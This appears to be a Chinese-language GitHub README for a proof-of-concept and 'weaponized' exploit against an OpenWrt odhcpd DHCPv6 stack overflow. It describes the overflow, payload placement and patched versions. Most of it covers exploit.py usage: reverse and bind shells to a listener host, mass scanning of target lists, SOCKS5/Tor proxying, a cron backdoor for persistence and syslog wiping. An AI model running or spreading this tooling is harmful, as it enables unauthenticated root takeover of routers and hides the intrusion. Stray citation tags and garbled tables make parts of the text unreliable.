CVE-2026-53921 – odhcpd 栈溢出(CVSS 9.8)🛡️ 漏洞详细全面的 Write-Up 及验证器与多漏洞利用,针对 OpenWrt DHCPv6 RCE。双向量(IA_NA/IA_PD)溢出,包含 MIPS/ARM shellcode、ROP 链、SOCKS5 代理、持久化、日志清理及批量扫描。请合乎道德地使用,保持合法。🔒

- 仅供教育和授权测试使用。未经授权的使用是非法的。**
CVE-2026-53921 是 OpenWrt 的 odhcpd 守护进程(默认的 DHCPv6/DHCPv4/RA 服务器)中的一个严重 栈缓冲区溢出 漏洞。
该漏洞存在于 odhcpd 的 DHCPv6 消息处理代码中,
具体位于 build_ia() 和 dhcpv6_ia_handle_IAs() 函数中。
该漏洞发生在 DHCPv6 Reply 数据包的 序列化(打包)过程中。
当 odhcpd 响应客户端请求时,它在一个固定大小的 512 字节 栈缓冲区中构造回复,
而没有进行适当的边界检查。
// 漏洞代码的简化表示
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// 写入前没有边界检查
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
攻击者发送一个 DHCPv6 Request(或 Solicit),其中包含:
当 odhcpd 构造其 Reply 时,每个选项都会消耗栈空间。累积的数据超过 512 字节,导致溢出。
向量 触发条件 溢出点
站点 1 5 个带 IPv6 地址的 IA_NA 的 build_ia()
IA_NA 选项
build_ia()根本原因相同,但溢出发生在不同的代码路径中,使得两个向量同样可被利用。
栈布局(简化):
+-------------------+ <-- 高地址
| 返回地址 | ← 被攻击者控制的值覆盖
+-------------------+
| 保存的帧指针 |
+-------------------+
| 局部变量 | ← 512 字节缓冲区
+-------------------+ <-- 低地址
攻击者覆盖保存的返回地址,使其指向内存中的 shellcode。
要求 描述
网络访问 攻击者必须与目标具有 IPv6 连接
身份验证 无 -- 未认证攻击
权限 odhcpd 以 root 运行,因此 RCE 可授予
完整的系统控制权
在实际利用中,攻击者的 shellcode 被放置在 IAAddress IPv6 地址字段中(每个 IA_NA 16 字节)。构造的数据包将 shellcode、NOP sled 和返回地址打包到这些字段中。
构造的 IA_NA 结构:
+-------------------+
| IA_NA 头部 | (12 字节)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← 返回地址
+-------------------+
| IAAddress 5 | ← 返回地址
+-------------------+
构造的 DHCPv6 请求
↓
odhcpd 处理 IA_NA/IA_PD 选项
↓
512 字节栈缓冲区溢出
↓
返回地址被覆盖
↓
CPU 跳转到 shellcode
↓
反向 shell / 绑定 shell / RCE
↓
完整系统沦陷(root 权限)
版本 状态 可能 RCE?
odhcpd < e432dd6 易受攻击 [+] 是 OpenWrt < 24.10.8 易受攻击 [+] 是 OpenWrt < 25.12.5 易受攻击 [+] 是 OpenWrt 24.10.8+ 已修补 [-] 否 OpenWrt 25.12.5+ 已修补 [-] 否 odhcpd master + e432dd6 已修补 [-] 否
该漏洞特别危险,因为:
odhcpd 在 OpenWrt 安装中默认启用。| 组件 | 易受攻击版本 | 修复于 |
|---|---|---|
odhcpd(master 分支) | 提交 e432dd6 之前 | e432dd6 或更高版本 |
| OpenWrt 发行版 | < 24.10.8 < 25.12.5 | 24.10.8 和 25.12.5 |
本仓库提供 两个独立脚本:
| 脚本 | 用途 | 利用代码 | 安全性 |
|---|---|---|---|
verifier.py | 非侵入式漏洞检查 | [-] 否 | [+] 安全 |
exploit.py | 完整武器化利用 | [+] 是 | [!] 危险 |
verifier.py – 漏洞检查器exploit.py – 完整利用IA_NA(站点1)和 IA_PD(站点2)。git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#注意:两个脚本都需要 root 权限来构造原始 IPv6 数据包。
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| 参数 | 描述 |
|---|---|
-u, --target | 目标 IPv6 地址(必需) |
-i, --iface | 网络接口(默认:eth0) |
exploit.py| 参数 | 描述 |
|---|---|
-u, --target | 目标 IPv6 地址 |
-l, --list | 包含目标列表的文件 |
-i, --iface | 网络接口(默认:eth0) |
--lhost | 监听器 IP(必需) |
--lport | 监听器端口(默认:4444) |
--vector | site1、site2 或 both(默认:both) |
--offset | 栈偏移(默认:512) |
--ret | 十六进制返回地址(例如 0x7ffff000) |
--arch | 强制 mips 或 arm(省略时自动检测) |
--payload | reverse 或 bind(默认:reverse) |
--encode | none 或 xor(默认:none) |
--proxy-host | SOCKS5 代理 IP |
--proxy-port | SOCKS5 代理端口(默认:1080) |
--persistence | 安装 cron 后门 |
--clear-logs | 利用后清除 syslog |
--scan-only | 仅扫描目标,不进行利用 |
--threads | 扫描线程数(默认:5) |
--verbose | 详细日志记录 |
sudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. 使用绑定 shell 利用单个目标
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. 使用 SOCKS5 代理 + 持久化 + 日志清除
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
将 OpenWrt 升级到 24.10.8 或 25.12.5 或更高版本。
opkg update
opkg upgrade odhcpd
OpenWrt 安全公告 (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 涵盖 odhcpd 中两个溢出向量的详细公告。
CVE-2026-53921 NVD 条目 https://nvd.nist.gov/vuln/detail/CVE-2026-53921 官方 NIST 漏洞数据库条目。
OpenWrt 24.10.8 发行说明 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 分支的官方发布公告。
OpenWrt 25.12.5 发行说明 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 分支的官方发布公告。
24.10.8 和 25.12.5 版本修复了 CVE-2026-53921 之外的多个 odhcpd 漏洞 [citation:9]:
| CVE ID | 严重性 | 描述 |
|---|---|---|
| CVE-2026-53918 | 高 | DHCPv6 IA 处理程序中的释放后使用 [citation:4][citation:9] |
| CVE-2026-53920 | 高 | 通过截断的 DHCPv6 IA_NA/IA_PD 选项泄露栈内存 [citation:9] |
| CVE-2026-53922 | 中 | 通过 size_t 下溢导致的预认证拒绝服务 [citation:9] |
| CVE-2026-55606 | 中 | 由于 DUID 长度字节序不匹配导致的栈缓冲区过度读取 [citation:9] |
| CVE-2026-62948 | - | DHCPv6 主机名注入导致存储型 XSS [citation:1] |
| CVE-2026-62947 | - | cgi-io 中的认证路径遍历 [citation:1] |
The Hacker News 分析 https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html 漏洞和利用向量的详细技术分析。 [citation:1]
GitHub PoC 仓库 https://github.com/0xBlackash/CVE-2026-53921 公开的概念验证实现和技术细节。 [citation:3]
版本 25.12.5 还修复了其他核心组件中的漏洞 [citation:10]: